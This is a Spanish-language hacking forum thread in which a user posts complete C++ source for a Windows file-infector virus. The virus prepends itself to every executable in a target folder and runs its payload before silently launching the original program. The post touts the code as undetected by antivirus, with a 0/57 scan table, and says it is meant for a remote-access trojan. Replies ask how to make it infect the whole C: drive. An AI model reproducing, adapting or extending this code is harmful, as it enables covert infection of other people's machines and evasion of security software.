Infección de ejecutables [FUD][C++]

  • 4 Respuestas
  • 4413 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
  • Skype: nico.buzzi
    • Ver Perfil
    • Email

Infección de ejecutables [FUD][C++]

  • en: Agosto 15, 2015, 09:39:37 pm

Hola ! tenia pensado utilizar esta formula para el RAT de foro, que les dejo el link por aquí a los interesados  ::)
https://underc0de.org/foro/off-topic-122/proyecto-rat-underc0de-(interesados-contactar)/

Bueno sin mas, este código infecta ejecutables de un directorio, este puede ser modificado a su gusto, esta testeado y funciona al %100 con ejecutables de todo tipo.
Que es lo que hace en concreto y para que sirve ?
-Imagina que tienes el directorio de Windows, o una carpeta con Juegos y archivos descargados de Internet antes de infectarte.
Luego de la infección todos esos ejecutables contendrán tu virus, malware o a lo que lo implementes.
Cuando abres el archivo Infectado, lo que primero hará es ejecutarse el Malware/Virus,etc y Luego ejecuta el archivo de forma normal, luego de cerrar el proceso borra el archivo temporal que se encuentra oculto con el mismo nombre. De esa forma es mas difícil desinfectarse y casi siempre así mismo borre el ejecutable original, al abrir viejos software's se volverá a infectar.

Esta testeado con AVIRA - ESET 8 - & Avast 5 en modo de ejecución y no detectaron nada :D
Les dejo el link de analisis 0/57  8) :

https://www.virustotal.com/es/file/0d4acc08de9cd03e3c3b98a960538299fa80fd547088d68e1774ee0ba0f1c712/analysis/1439685072/



Código: (cpp) [Seleccionar]
#include <windows.h>

/*
#########################################################################################
# #
# Infección de ejecutables por - Nico Buzzi - xxneeco83xx #
# Este metodo no es detectado por la heuristica de los antivirus talez como Avira. #
# Codigo para foro UnderC0de.org - 15/8/15 #
# #
#########################################################################################
*/

//Estroctura para alocar los numeros de buffers y los buffers diferentes separados por el delimitador
typedef struct
{
char **string_data;
int number_string;

} split_struct;

split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee );
DWORD __stdcall _lstrlen ( IN LPSTR lpszString );

split_struct *split ( IN LPSTR lpszBuffer, IN LPSTR lpDelimitador, IN DWORD dwSizee )
{

//Definiciones de variables.
split_struct *return_value;
DWORD lpszBuffer_length, lpDelimitador_length;
DWORD bytes = 0, x = 1, aciertos = 0, count = 0, items = 0, p = 0, contador = 0;
LPSTR MyBuffer, *buffer;

lpszBuffer_length = dwSizee;
lpDelimitador_length = _lstrlen ( lpDelimitador );
bool encontre = false;

//Reservamos la variable principal
MyBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
memcpy ( & MyBuffer [ 0 ], & lpszBuffer [ 0 ], lpszBuffer_length );

//Reservamos las variables necesarias
return_value = ( split_struct * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length * 2 ) );
buffer = ( LPSTR * ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length + 1 ) );
*buffer = 0;

//Recorremos el buffer en busqueda de el delimitador.
for ( bytes = 0; bytes <= lpszBuffer_length; bytes ++ )
{
if ( MyBuffer [ bytes ] == lpDelimitador [ 0 ] )
{
for ( x = 0; x <= lpDelimitador_length; x++ )
{
//En caso de coincidir con el delimitador, incrementamos los aciertos
if ( MyBuffer [ bytes + x ] == lpDelimitador [ x ] )
{
aciertos++;
}

//Si ya se acerto toda la firma, cortamos el for.
if ( aciertos == lpDelimitador_length )
{
items ++;
break;
}
}
}

//Si coincide el delimitador con el buffer que vamos analizando.
if ( aciertos == lpDelimitador_length )
{

//Reservamos el buffer, y copiamos los bytes hasta el delimitador.
buffer [ ++ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
memcpy ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], bytes );

//Ajustamos el buffer.
MyBuffer += ( bytes + lpDelimitador_length );

//Acertado, volvemos a restablecer valores.
encontre = true;
aciertos = 0;
bytes = 0;
}

//En caso de encontrar la cadena en la cual esta la ruta, en un buffer a parte reservamos el buffer.
if ( encontre == true && lstrcmpA ( ( buffer [ count ] + _lstrlen ( buffer [ count ] ) - 4 ), "exe-" ) == 0 )
{
encontre = false;

count ++;
buffer [ count ] = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( lpszBuffer_length ) + 1 );
CopyMemory ( & buffer [ count ] [ 0 ], & MyBuffer [ 0 ], lpszBuffer_length - ( _lstrlen ( buffer [ count - 1 ] ) ) );

items ++;
break;
}
}

//Liberamos el buffer que usamos temporalmente.
GlobalFree ( MyBuffer );

//Le decimos cuales son los punteros a apuntar desde la estroctura.
return_value -> string_data = buffer;
return_value -> number_string = items;

//Returnamos
return return_value;

}

//Funcion que remplaza a lstrlenA o strlen ( de string.h )
DWORD __stdcall _lstrlen ( IN LPSTR lpszString )
{

register DWORD bytes = 0;

//Vamos contando los caracteres que contiene nuestro buffer.
while ( * ( lpszString ++ ) != 0x00 ) bytes ++;

return DWORD ( bytes );
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

//Variables necesarias
HANDLE File;
DWORD dwBytes, dwSize, dwSizeOriginal, Attributes, NewSize;
WIN32_FIND_DATA Find;
HANDLE Search;

//Estrocturas PE
PIMAGE_DOS_HEADER pImageDosHeader;
PIMAGE_NT_HEADERS pImageNtHeaders;
PIMAGE_SECTION_HEADER pImageSectionHeader;

//Variable para CreateProcess, para poder ejecutar la aplicación.
STARTUPINFOA si;
PROCESS_INFORMATION pi;

//Rellenamos las estrocturas
ZeroMemory ( &si, sizeof ( STARTUPINFOA ) );
ZeroMemory ( &pi, sizeof ( PROCESS_INFORMATION ) );

//Calculamos el tamaño de StartupInfoA struct en su cb
si.cb = sizeof ( STARTUPINFOA );

//Variables de tipo puntero char.
LPSTR AppName, Buffer, NewBuffer, PathInfect, PreBuffer, Path, Firma;

//Obtenemos nuestro nombre de ejecutable.
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

//Nos abrimos
File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, 0, 0 );

//Si existe algun error al abrirnos para leernos.
if ( ( File == INVALID_HANDLE_VALUE ) )
{
CloseHandle ( File );
GlobalFree ( AppName );

return EXIT_FAILURE;
}

//Obtenemos el tamaño de nuestro archivo
dwSize = GetFileSize ( File, 0 );
dwSizeOriginal = dwSize;

//Luego de leernos
Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );

//Liberamos la variable que contiene nuestra ruta.
GlobalFree ( AppName );

//Obtenemos el PE, y el tamaño de nuestro ejecutable, para determinar si somos o no un archivo infectado.
pImageDosHeader = ( PIMAGE_DOS_HEADER ) & Buffer [ 0 ];
pImageNtHeaders = ( PIMAGE_NT_HEADERS ) & Buffer [ pImageDosHeader -> e_lfanew ];
pImageSectionHeader = ( PIMAGE_SECTION_HEADER ) & Buffer [ pImageDosHeader -> e_lfanew + sizeof ( IMAGE_NT_HEADERS ) + sizeof ( IMAGE_SECTION_HEADER ) * ( pImageNtHeaders -> FileHeader.NumberOfSections - 1 ) ];

NewSize = pImageSectionHeader -> PointerToRawData + pImageSectionHeader -> SizeOfRawData;

//En caso de no ser un archivo infectado infecto.
if ( NewSize == dwSize )
{

//En el directorio
char directory [ MAX_PATH + 1 ];
wsprintfA ( directory, "%s\\nueva\\*", getenv ( "homedrive" ) );

//Comenzamos la busqueda
Search = FindFirstFileA ( directory, &Find );

//Si hay problemas al listar, salimos.
if ( Search == INVALID_HANDLE_VALUE )
{
FindClose ( Search );

return EXIT_FAILURE;
}

//Avanzamos en el directorio de system32 buscando archivos a infectar
while ( FindNextFileA ( Search, & Find ) != 0 )
{
//Si el archivo es ejecutable (.exe)
if ( lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".exe" ) == 0 || lstrcmpA ( ( Find.cFileName + _lstrlen ( Find.cFileName ) ) - 4, ".EXE" )  == 0 )
{

//Alojamos la firma
Firma = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), 500 );
wsprintfA ( Firma, "#EXE" );
lstrcatA ( Firma, "CUTABLE#" );

//Creamos la ruta de donde iremos a buscar ejecutables para infectar.
PathInfect = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );
CopyMemory ( & PathInfect [ 0 ], & directory [ 0 ], _lstrlen ( directory ) - 1 );

CopyMemory ( & PathInfect [ lstrlenA ( PathInfect ) ], &Find.cFileName, lstrlenA ( Find.cFileName ) );
Attributes = GetFileAttributesA ( PathInfect );

//Abrimos el ejecutable que iremos a infectar
File = CreateFileA ( PathInfect, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, Attributes, 0 );

//Verificamos que no haya fallos a la hora de abrir el ejecutable a infectar
if ( File == INVALID_HANDLE_VALUE )
{

CloseHandle ( File );
GlobalFree ( Firma );
GlobalFree ( PathInfect );

return EXIT_FAILURE;
}

//Creamos la firma que le colocaremos para distinguir el infectado al ejecutable normal
CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & PathInfect [ 0 ], _lstrlen ( PathInfect ) );
CopyMemory ( & Firma [ _lstrlen ( Firma ) ], & "-#EXE", _lstrlen ( ( LPSTR ) "-#EXE" ) );
lstrcatA ( Firma, "CUTABLE#" );

//Obtenemos el tamaño del archivo a infectar
dwSize = GetFileSize ( File, 0 );
PreBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );

//Leemos el archivo que vamos a infectar
ReadFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
CloseHandle ( File );

//Abrimos el archivo a infectar
File = CreateFileA ( PathInfect, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, Attributes, 0 );

//Escribimos el nuevo archivo.
WriteFile ( File, Buffer, dwSizeOriginal, &dwBytes, 0 );
WriteFile ( File, Firma, _lstrlen ( Firma ), &dwBytes, 0 );
WriteFile ( File, PreBuffer, dwSize, &dwBytes, 0 );
WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
WriteFile ( File, "ENDOF", _lstrlen ( ( LPSTR ) "ENDOF" ), &dwBytes, 0 );
WriteFile ( File, "#EXE", _lstrlen ( ( LPSTR ) "#EXE" ), &dwBytes, 0 );
WriteFile ( File, "CUTABLE#", _lstrlen ( ( LPSTR ) "CUTABLE#" ), &dwBytes, 0 );
CloseHandle ( File );

//Liberamos los buffers
GlobalFree ( PreBuffer );
GlobalFree ( PathInfect );
GlobalFree ( Firma );
}

}

//Cerramos la busqueda
FindClose ( Search );

//Liberamos el buffer
GlobalFree ( Buffer );

//Salimos.
return EXIT_SUCCESS;
}

//De lo contrario creamos el archivo

//Ajustamos el nuevo tamaño
dwSize -= NewSize;

//Creamos el nuevo buffer
NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( dwSize + 1 ) );
CopyMemory ( & NewBuffer [ 0 ], & Buffer [ NewSize ], dwSize );

Path = ( LPSTR ) GlobalAlloc ( ( 0x0040 ), ( MAX_PATH + 1 ) );

char firmita [ 250 ];
wsprintf ( firmita, "%sEXE", "#" );
lstrcatA ( firmita, "CUTABLE#" );

split_struct *resultado = split ( NewBuffer, ( LPSTR ) firmita, dwSize );

//Recorremos los items
for ( int i = 1; i <= resultado -> number_string; i ++ )
{

//Comprobamos que la cadena que obtenemos no sea una invalida.
if ( _lstrlen ( resultado -> string_data [ i ] ) <= 0 ) i += 1;

//Abrimos un nuevo archivo de modo oculto para su ejecución de modo que no sea sospechoso.
File = CreateFileA ( resultado -> string_data [ i ], GENERIC_WRITE, FILE_SHARE_WRITE, 0,
CREATE_ALWAYS, ( 0x1 | 0x2 | 0x4 ), 0 );

//Si no podemos crear el archivo
if ( File == INVALID_HANDLE_VALUE )
{
CloseHandle ( File );
GlobalFree ( AppName );
GlobalFree ( NewBuffer );
GlobalFree ( Path );

return EXIT_FAILURE;
}

//Escribimos la ruta, y calculamos el tamaño a escribir.
WriteFile ( File, resultado -> string_data [ i + 1 ], dwSize - _lstrlen ( resultado -> string_data [ i ] ), &dwBytes, 0 );
CloseHandle ( File );

//Ejecutamos el archivo, y esperamos por el hasta que se cierre.
CreateProcessA ( resultado -> string_data [ i ], 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &si, &pi );
WaitForSingleObject ( pi.hProcess, INFINITE );

//Eliminamos el archivo una vez haya sido terminado de ejecutar.
SetFileAttributesA ( resultado -> string_data [ i ], FILE_ATTRIBUTE_NORMAL );
DeleteFileA ( resultado -> string_data [ i ] );

//Liberamos el buffer
GlobalFree ( resultado -> string_data [ i ] );

//Interrumpimos el for
break;
}

//Liberamos los buffers.
GlobalFree ( AppName );
GlobalFree ( NewBuffer );
GlobalFree ( Path );

//Salimos
return EXIT_SUCCESS;
}


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805    Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean

Es todo espero que le sirva a alguno! se aceptan comentarios, criticas, y lo que se te cruze en mente.  ;D
« Última modificación: Agosto 16, 2015, 02:20:05 am por xxneeco83xx »
El arte de crear malware, es algo que solo pocos entienden!


Desconectado GermanHofkamp

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
  • Skype: german.snaky
    • Ver Perfil

Re:Infección de ejecutables [FUD][C++]

  • en: Noviembre 20, 2015, 01:19:02 pm
Hola amigo, pregunta. En si que hace bien este virus, infecta todos los .exe del sistema? por que lo e probado, pero ningún .exe me ha modificado. por eso te pregunto bien como infecta, por que si me sirve lo voy a utilizar para un proyecto, desde ya muchas gracias y muy buen malware. :)

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
  • Skype: nico.buzzi
    • Ver Perfil
    • Email

Re:Infección de ejecutables [FUD][C++]

  • en: Noviembre 22, 2015, 02:37:54 pm
Es que la ruta a la cual esta infectando los archivos la tienes que especificar tu, si te fijas la carpeta default que tiene predefinida es homedrive carpeta llamada nueva.
El arte de crear malware, es algo que solo pocos entienden!


Desconectado GermanHofkamp

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
  • Skype: german.snaky
    • Ver Perfil

Re:Infección de ejecutables [FUD][C++]

  • en: Noviembre 23, 2015, 12:06:54 am
Bien!, si quisiera que infecte todo el disco C por ejemplo, en donde dice "nueva" tendría que colocar "*.*" para que infecte todo, por que te explico o probado el malware hasta e creado la carpeta nueva en el disco C y coloque unos .exe a ver si los modificaba y nada!, por eso te pregunto a vos que sos el creador de el malware.

Desconectado NyxKazuya

  • *
  • Underc0der
  • Mensajes: 56
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil

Re:Infección de ejecutables [FUD][C++]

  • en: Noviembre 25, 2015, 12:04:51 am
proyect quemado en 3,2,1